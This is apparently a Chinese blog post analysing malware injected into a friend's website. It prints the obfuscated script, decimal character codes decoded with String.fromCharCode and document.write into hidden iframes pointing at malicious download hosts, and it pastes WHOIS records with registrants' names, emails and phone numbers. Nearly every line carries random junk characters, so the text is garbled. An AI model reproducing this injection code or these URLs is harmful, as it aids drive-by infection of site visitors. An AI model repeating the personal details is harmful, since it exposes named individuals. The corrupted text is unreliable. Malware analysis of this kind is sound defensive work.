首发在我的博客里面，
C 4|H 5H {S"! c. http://www.areway.cn/?p=175 t $u. `##^@N<P M!O &\2Q 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
)rbcY0q la _FZ <script>t=’60,105,102,114,97,109,101,
/MbWS(RT 32,115,114,99,61,104,116,116,112,58,47,47,
5iZ;7
?( 102,114,101,101,46,117,45,117,117,117,46,99,
h9cx~/7,_) 110,47,101,114,114,111,114,46,104,116,109,
8.tp#x,A 32,119,105,100,116,104,61,49,48,48,32,104,
xP5Z -eL 101,105,103,104,116,61,48,62,60,47,105,102,
F JIo] p 114,97,109,101,62′;
yC9~X='D t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
K{`3,U2Wx &&TAX <script>t=’60,105,102,114,97,109,101,32,115,
_ {mG\*q 114,99,61,104,116,116,112,58,47,47,102,114,
$c];&)7q 101,101,46,117,45,117,117,117,46,99,110,47,
nz l3<Ar 101,114,114,111,114,46,104,116,109,32,119,
>]/aG! 105,100,116,104,61,49,48,48,32,104,101,105,
0:zDt~Ju 103,104,116,61,48,62,60,47,105,102,114,97,
,H5o/qNU`{ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ngl8) B document.write(t);</script>
:pGgxO% q PHg(O:3WG <html xmlns=”
s%@HchZ 1 http://www.w3.org/1999/xhtml !UX7R\qu| “>
mO @Sl(9 <head>
)WbE -m <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
dk@iAL* v <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
ZnRE:= <title>首页 - 爱生活家庭网
}EJ't io] ;f~z_3g 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
&h?8yV4B 转换字符串后的大概内容是（谁点击后果自付）：
($ s%B <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Vv.q{fRvYB j)lgF: 查询玉米u-uuu.cn的详细信息：
E )%r}4u> Domain Name: u-uuu.cn
y9-}LET3j
ROID: 20070901s10001s64972306-cn
E>N L/[1d Domain Status: ok
fR,7l9<%Zp Registrant Organization: 王雷
W4rh7e4 Registrant Name: 王雷
DTM
xfQdk Administrative Email:
czlovexs@126.com 7 w5 L?,a Sponsoring Registrar: 北京万网志成科技有限公司
8@BN6 Name Server:ns.yovole.com
Q) Y&h'.( Name Server:ns1.yovole.com
rtk1 8U- Registration Date: 2007-09-01 17:54
h2mU Expiration Date: 2008-09-01 17:54
r]O8|#P,Z$ 最后PING了一下地址 都没有什么….
d>jRw 1"
#W 1im 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
42 & m) <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
'H)l~L <script language=”javascript” src=”
.6y(ox|LL http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script E@S5|CM >
U?yKw H^{ 这个玉米应该有可能是木马作者的：
Tsl0$(2W foafau.info的详细信息：
9|&%"~6' Access to INFO WHOIS information is provided to assist persons in
TDj jaO determining the contents of a domain name registration record in the
`I)ftj % Afilias registry database. The data in this record is provided by
bPo*L~xdk Afilias Limited for informational purposes only, and Afilias does not
@P
xX]e guarantee its accuracy. This service is intended only for query-based
^|h})OHV access. You agree that you will use this data only for lawful purposes
4P$#m<;t and that, under no circumstances will you use this data to: (a) allow,
]x`I@vSf7R enable, or otherwise support the transmission by e-mail, telephone, or
zoO9N oUHW facsimile of mass unsolicited, commercial advertising or solicitations
sp&)1?!M to entities other than the data recipient’s own existing customers; or
6j = a (b) enable high volume, automated, electronic processes that send
cT,5xp"a queries or data to the systems of Registry Operator, a Registrar, or
pk2}]jx" Afilias except as reasonably necessary to register domain names or
^g*2jH+ modify existing registrations. All rights reserved. Afilias reserves
,L,?xvWG the right to modify these terms at any time. By submitting this query,
` B7 1 ` you agree to abide by this policy.
2= ZZR8v Domain ID:D22418703-LRMS
D" +xF& Domain Name:FOAFAU.INFO
:Y>M/ /0 Created On:20-Nov-2007 16:05:42 UTC
]Qb85;0) Last Updated On:20-Nov-2007 16:05:44 UTC
Z|dng6ck Expiration Date:20-Nov-2008 16:05:42 UTC
F!qt#Sw!\ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
VS_xC $X!S Status:CLIENT DELETE PROHIBITED
@&E{
L Status:CLIENT RENEW PROHIBITED
UXN!iU) Status:CLIENT TRANSFER PROHIBITED
mtu`m6Xix Status:CLIENT UPDATE PROHIBITED
K/+w6d Status:TRANSFER PROHIBITED
F3V_rE< Registrant ID:GODA-040110615
@Zd/>' Registrant Name:liu hong
no lLeRE1 Registrant Organization:
~}F$1;t0 Registrant Street1:beijing
Lv`NS+fX Registrant Street2:
PgF7ug%,@C Registrant Street3:
YQk<1./}I Registrant City:beijing
^9PB+mz Registrant State/Province:
|UZhMF4/-L Registrant Postal Code:100000
Q g;?C Registrant Country:CN
v3{[rK} Registrant Phone:+86.860108888777
'dTg\
Qv Registrant Phone Ext.:
<!M ab} Registrant FAX:
"vnWq=E 2 Registrant FAX Ext.:
|6}:n,KA. Registrant Email:bbbshiji@163.com
;wkoQ8FD9 Admin ID:GODA-240110615
LV X01ox$ Admin Name:liu hong
G>fJ)A Admin Organization:
]Y@ia]x&P Admin Street1:beijing
y
2v69nu~q Admin Street2:
'aoHNZfxw Admin Street3:
zHsWj^m" Admin City:beijing
j,c8_;X! Admin State/Province:
nQW`X=Ku Admin Postal Code:100000
yAt,XG3 Admin Country:CN
$5;RQNhXh Admin Phone:+86.860108888777
8=h$6=1S Admin Phone Ext.:
R^=)Ucj Admin FAX:
"L p"o Admin FAX Ext.:
G~\ SI. Admin Email:bbbshiji@163.com
)FfJ%oT} Billing ID:GODA-340110615
^%q h E8 Billing Name:liu hong
u LX V, Billing Organization:
^?3e?Q? Billing Street1:beijing
0 G.y_<= Billing Street2:
'F6 65 Billing Street3:
5wws8w Billing City:beijing
}m6j6uAR6) Billing State/Province:
"/-T{p;. Billing Postal Code:100000
FOU^Wcop% Billing Country:CN
"?~u*5 Billing Phone:+86.860108888777
`RG_FS"v Billing Phone Ext.:
68^5X"OGF Billing FAX:
] EzX$T Billing FAX Ext.:
%hu] = Billing Email:bbbshiji@163.com
(y xrK Tech ID:GODA-140110615
`Oc`I9 Tech Name:liu hong
;uC +5g` Tech Organization:
j BvZ>H+w~ Tech Street1:beijing
#!%\97ZR Tech Street2:
%7$oig\wE Tech Street3:
Gu3'<hTlxd Tech City:beijing
:%?\Wj5HW Tech State/Province:
;S FmbZ%~ Tech Postal Code:100000
qOKC2WD Tech Country:CN
y ~
A] Tech Phone:+86.860108888777
J6H3X;vxQw Tech Phone Ext.:
(!nhU Tech FAX:
=v$H8w Tech FAX Ext.:
b7:B[7yK.x Tech Email:bbbshiji@163.com
T&2aNku G Name Server:NS27.DOMAINCONTROL.COM
*WQ}ucE^# Name Server:NS28.DOMAINCONTROL.COM
+P~E54 Name Server:
U-$ B"w & Name Server:
m*h, <,}-+ Name Server:
#egP*{F Name Server:
c !ybz{L Name Server:
7b2N'^z} Name Server:
X j\SJ* Name Server:
q >9F2 1 W Name Server:
xpf\S10e Name Server:
qR~s& SC# Name Server:
|xTf:@hgHf Name Server:
L}&U%eD hwmpiyu 接着下载每个文件里面的代码：
Z' 0Gd@/ 一步一步看..
_J51 :pi 
U+!H/R)( 
"/).:9],} 
VK+#!!Ha 
7^bO` 
9oteQN{9 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
